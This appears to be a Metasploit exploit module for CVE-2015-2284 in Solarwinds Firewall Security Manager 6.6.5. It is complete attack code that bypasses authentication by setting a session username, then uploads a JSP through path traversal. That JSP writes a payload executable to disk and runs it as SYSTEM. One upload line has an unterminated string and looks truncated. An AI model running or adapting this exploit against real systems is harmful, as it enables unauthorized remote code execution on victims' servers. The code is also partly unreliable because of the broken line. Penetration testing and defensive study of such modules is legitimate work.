require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability",
'Description'=> %q{
This module exploits multiple vulnerabilities found in Solarwinds Firewall Security Manager
6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface
due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set
the 'username' attribute before authentication. The second problem is that the settings-new.jsp
file will only check the 'username' attribute before authorizing the 'uploadFile' action,
which can be exploited and allows the attacker to upload a fake xls host list file to the
server, and results in arbitrary code execution under the context of SYSTEM.
Depending on the installation, by default the Change Advisor web server is listening on port
48080 for an express install. Otherwise, this service may appear on port 8080.
Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may
download it from the module's References section.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'rgod',# Original discovery
'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_
'sinn3r' # Metasploit
],
'References' =>
[
['CVE', '2015-2284'],
['OSVDB', '81634'],
['ZDI', '15-107'],
['URL', 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip']
],
'DefaultOptions'=>
{
'RPORT'=> 48080 # Could be 8080 too
},
'Platform' => 'win',
'Targets'=>
[
['Solarwinds Firewall Security Manager 6.6.5', {}]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 13 2015',
'DefaultTarget'=> 0))
register_options(
[
OptString.new('TARGETURI', [ true, 'Base FMS directory path', '/'])
], self.class)
end
# Returns a checkcode that indicates whether the target is FSM or not
def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'fsm', 'login.jsp'))
if res && res.body =~ /SolarWinds FSM Change Advisor/i
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
# Exploit/run command
def exploit
unless check == Exploit::CheckCode::Detected
fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager')
end
# Stage 1 of the attack
# 'admin' is there by default and you can't delete it
username = 'admin'
print_status("Auth bypass: Putting session value: username=#{username}")
sid = put_session_value(username)
print_status("Your SID is: #{sid}")
exe = generate_payload_exe(code: payload.encoded)
filename = "#{Rex::Text.rand_text_alpha(5)}.jsp"
register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}")
malicious_file = get_jsp_payload(exe, filename)
print_status("Uploading file: #{filename} (#{exe.length} bytes)")
upload_exec(sid, filename, malicious_file)
end
private
def jsp_drop_bin(bin_data, output_file)
jspraw =%Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
jspraw << %Q|int numbytes = data.length();\n|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q|char char1 = (char) data.charAt(counter);\n|
jspraw << %Q|char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q|int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q|comb <<= 4;\n|
jspraw << %Q|comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q|bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|
jspraw
end
def jsp_execute_command(command)
jspraw =%Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q|Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|
jspraw
end
def get_jsp_payload(exe, output_file)
jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file)
end
def put_session_value(value)
res = send_request_cgi(
'uri'=> normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'),
'method' => 'GET',
'vars_get' => { 'username' => value }
)
unless res
fail_with(Failure::Unknown, 'The connection timed out while setting the session value.')
end
get_sid(res)
end
def get_sid(res)
cookies = res.get_cookies
sid = cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
sid
end
def upload_exec(sid, filename, malicious_file)
res = upload_file(sid, filename, malicious_file)
if !res
fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.')
elsif res.body.include?('java.lang.NoClassDefFoundError')
print_status('Payload being treated as XLS, indicates a successful upload.')
else
print_status('Unsure of a successful upload.')
end
print_status('Attempting to execute the payload.')
exec_file(sid, filename)
end
def upload_file(sid, filename, malicious_file)
filename = "../../jsp/#{filename}"
mime_data = Rex::MIME::Message.new
mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"
mime_data.add_part('uploadFile', nil, nil, 'name="action"')
proto = ssl ? 'https' : 'http'
ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}"
send_request_cgi(
'uri'=> normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp'),
'method' => 'POST',
'vars_get' => { 'action' => 'uploadFile' },
'ctype'=> "multipart/form-data; boundary=#{mime_data.bound}",
'data' => mime_data.to_s,
'cookie' => sid,
'headers'=> { 'Referer' => ref }
)
end
def exec_file(sid, filename)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fsm', filename)
)
end
def print_status(msg)
super("#{rhost}:#{rport} - #{msg}")
end
end